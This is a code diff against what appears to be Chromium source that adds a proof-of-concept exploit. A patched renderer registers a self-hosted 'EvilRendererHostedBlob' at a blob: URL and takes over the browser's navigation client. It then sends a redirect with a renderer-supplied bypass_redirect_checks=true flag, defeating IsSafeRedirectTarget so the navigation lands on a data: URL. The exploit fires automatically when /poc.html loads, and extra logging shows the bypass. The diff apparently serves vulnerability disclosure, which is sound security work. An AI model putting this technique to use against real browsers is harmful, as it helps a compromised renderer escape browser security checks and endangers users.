diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/content/browser/loader/navigation_url_loader_impl.cc b/content/browser/loader/navigation_url_loader_impl.cc index f2bad79281e85..33c4f9fd8c5d7 100644 --- a/content/browser/loader/navigation_url_loader_impl.cc +++ b/content/browser/loader/navigation_url_loader_impl.cc @@ -1601,6 +1601,27 @@ void NavigationURLLoaderImpl::OnReceiveRedirect( ? head->bypass_redirect_checks : bypass_redirect_checks_; + // POC observability (no behavior change): log the inputs to the + // IsSafeRedirectTarget gate so the bypass is visible in stderr. + if (url_.SchemeIsBlob()) { + bool would_be_safe = IsSafeRedirectTarget(url_, redirect_info.new_url); + LOG(ERROR) << "[POC][browser] OnReceiveRedirect: " << url_ << " -> " + << redirect_info.new_url + << " | head->bypass_redirect_checks=" + << head->bypass_redirect_checks + << " | trusted bypass_redirect_checks_=" + << bypass_redirect_checks_ + << " | effective bypass=" << bypass_redirect_checks + << " | IsSafeRedirectTarget()=" << would_be_safe; + if (bypass_redirect_checks && !would_be_safe) { + LOG(ERROR) << "[POC][browser] *** IsSafeRedirectTarget BYPASSED via " + "renderer-supplied head->bypass_redirect_checks; redirect " + "to " + << redirect_info.new_url + << " would have been ERR_UNSAFE_REDIRECT ***"; + } + } + if (!bypass_redirect_checks && !IsSafeRedirectTarget(url_, redirect_info.new_url)) { error = net::ERR_UNSAFE_REDIRECT; @@ -2233,6 +2254,10 @@ NavigationURLLoaderImpl::CreateTerminalNonNetworkLoaderFactory( return AboutURLLoaderFactory::Create(); } if (url.GetScheme() == url::kDataScheme) { + LOG(ERROR) + << "[POC][browser] CreateTerminalNonNetworkLoaderFactory: building " + "DataURLLoaderFactory for " + << url; return DataURLLoaderFactory::Create(); } diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index d6be4532c6208..3c7bc793b8929 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -132,6 +132,9 @@ #include "net/base/registry_controlled_domains/registry_controlled_domain.h" #include "net/http/http_request_headers.h" #include "net/http/http_response_headers.h" +// POC: includes for renderer-hosted Blob impl that hijacks navigation client. +#include "mojo/public/cpp/bindings/receiver_set.h" +#include "net/url_request/redirect_info.h" #include "net/http/http_util.h" #include "services/metrics/public/cpp/ukm_source_id.h" #include "services/network/public/cpp/content_decoding_interceptor.h" @@ -309,6 +312,141 @@ namespace content { namespace { +// ============================================================================ +// POC: Renderer-hosted blink::mojom::Blob implementation. +// +// This simulates what a compromised renderer would do: register a Blob +// implementation that lives in the renderer (instead of the browser-hosted +// storage::BlobImpl). When the browser navigates to the corresponding blob: +// URL, BlobURLLoaderFactory::CreateLoaderAndStart() forwards the navigation's +// URLLoaderClient remote directly to this renderer-controlled endpoint via +// blob_->Load(). The renderer then drives the browser-process navigation state +// machine by calling OnReceiveRedirect() with bypass_redirect_checks=true, +// which defeats IsSafeRedirectTarget() in +// NavigationURLLoaderImpl::OnReceiveRedirect(). +// ============================================================================ +class EvilRendererHostedBlob : public blink::mojom::Blob { + public: + static EvilRendererHostedBlob* Get() { + static base::NoDestructor instance; + return instance.get(); + } + + void Bind(mojo::PendingReceiver receiver) { + receivers_.Add(this, std::move(receiver)); + } + + // blink::mojom::Blob: + void Clone(mojo::PendingReceiver receiver) override { + LOG(ERROR) << "[POC][renderer] EvilBlob::Clone called by browser " + "(BlobUrlRegistry::GetBlobFromUrl)."; + receivers_.Add(this, std::move(receiver)); + } + + void AsDataPipeGetter( + mojo::PendingReceiver) override {} + + void ReadAll(mojo::ScopedDataPipeProducerHandle, + mojo::PendingRemote) override {} + + void ReadRange(uint64_t, + uint64_t, + mojo::ScopedDataPipeProducerHandle, + mojo::PendingRemote) override { + } + + void Load(mojo::PendingReceiver loader, + const std::string& method, + const net::HttpRequestHeaders& headers, + mojo::PendingRemote client) + override { + LOG(ERROR) << "[POC][renderer] EvilBlob::Load called: renderer now owns " + "the browser-process navigation URLLoaderClient remote."; + // Keep the URLLoader pipe alive so ThrottlingURLLoader does not observe a + // disconnect before our redirect is processed. + held_loaders_.push_back(std::move(loader)); + + mojo::Remote client_remote( + std::move(client)); + + // Target a scheme that IsSafeRedirectTarget() forbids. data: is in + // kUnsafeSchemes (url_utils.cc) so a redirect to data: would normally fail + // with ERR_UNSAFE_REDIRECT. With bypass_redirect_checks=true (renderer- + // controlled) the check is skipped and the navigation proceeds through + // CanRedirectToURL/CanRequestURL (data: is web-safe) to commit. + const char kTarget[] = + "data:text/html,POC-REDIRECT-LANDED" + "

bypass_redirect_checks: IsSafeRedirectTarget bypassed via " + "renderer-hosted Blob

"; + + net::RedirectInfo redirect_info; + redirect_info.status_code = 302; + redirect_info.new_method = "GET"; + redirect_info.new_url = GURL(kTarget); + redirect_info.new_site_for_cookies = + net::SiteForCookies::FromUrl(redirect_info.new_url); + + auto head = network::mojom::URLResponseHead::New(); + head->headers = net::HttpResponseHeaders::TryToCreate( + "HTTP/1.1 302 Found\r\n" + "Location: data:text/html,placeholder\r\n\r\n"); + head->encoded_data_length = 0; + // The actual bypass: this bool is read in the browser process at + // NavigationURLLoaderImpl::OnReceiveRedirect() and, because + // kBypassRedirectChecksPerRequest is FEATURE_ENABLED_BY_DEFAULT, replaces + // the trusted bypass_redirect_checks_ member with this renderer-supplied + // value. + head->bypass_redirect_checks = true; + + LOG(ERROR) << "[POC][renderer] Sending OnReceiveRedirect to browser with " + "bypass_redirect_checks=true, new_url=" + << redirect_info.new_url; + client_remote->OnReceiveRedirect(redirect_info, std::move(head)); + + // Keep the client pipe alive so the message is delivered and so the + // browser does not see a disconnect mid-navigation-state-machine. + held_clients_.push_back(std::move(client_remote)); + } + + void ReadSideData(ReadSideDataCallback cb) override { + std::move(cb).Run(std::nullopt); + } + void CaptureSnapshot(CaptureSnapshotCallback cb) override { + std::move(cb).Run(0, std::nullopt); + } + void GetInternalUUID(GetInternalUUIDCallback cb) override { + std::move(cb).Run("evil-renderer-hosted-blob"); + } + + void RegisterAndKeepStore( + mojo::PendingRemote store_remote, + const GURL& blob_url) { + blob_url_store_.Bind(std::move(store_remote)); + mojo::PendingRemote blob_remote; + Bind(blob_remote.InitWithNewPipeAndPassReceiver()); + LOG(ERROR) << "[POC][renderer] Registering renderer-hosted Blob at " + << blob_url; + blob_url_store_->Register( + std::move(blob_remote), blob_url, + base::BindOnce([] { + LOG(ERROR) << "[POC][renderer] BlobURLStore.Register acked by " + "browser."; + })); + } + + private: + friend class base::NoDestructor; + EvilRendererHostedBlob() = default; + + mojo::ReceiverSet receivers_; + // Kept alive so the URL mapping persists (revoked on store disconnect). + mojo::Remote blob_url_store_; + std::vector> held_loaders_; + std::vector> held_clients_; +}; + +const char kEvilBlobUUID[] = "11111111-2222-3333-4444-555555555555"; + const int kExtraCharsBeforeAndAfterSelection = 100; const size_t kMaxURLLogChars = 1024; const char kCommitRenderFrame[] = "Navigation.CommitRenderFrame"; @@ -4139,6 +4277,29 @@ void RenderFrameImpl::DidHandleOnloadEvents() { void RenderFrameImpl::DidFinishLoad() { TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad", "frame_token", frame_token_); + // ========================================================================== + // POC: simulate compromised renderer registering a renderer-hosted Blob. + // Triggered exactly once when the POC page finishes loading. + // ========================================================================== + { + GURL doc_url = frame_->GetDocument().Url(); + static bool poc_triggered = false; + if (!poc_triggered && doc_url.path() == "/poc.html") { + poc_triggered = true; + LOG(ERROR) << "[POC][renderer] poc.html loaded at " << doc_url + << ", binding BlobURLStore via BrowserInterfaceBroker."; + mojo::PendingRemote store; + GetBrowserInterfaceBroker().GetInterface( + store.InitWithNewPipeAndPassReceiver()); + // blob:/ -- origin must match the frame's storage key + // origin or BlobUrlIsValid() will reject it. + GURL blob_url(std::string("blob:") + + url::Origin::Create(doc_url).Serialize() + "/" + + kEvilBlobUUID); + EvilRendererHostedBlob::Get()->RegisterAndKeepStore(std::move(store), + blob_url); + } + } if (!frame_->Parent()) { TRACE_EVENT_INSTANT1("WebCore,benchmark,rail", "LoadFinished", TRACE_EVENT_SCOPE_PROCESS, "isOutermostMainFrame", diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b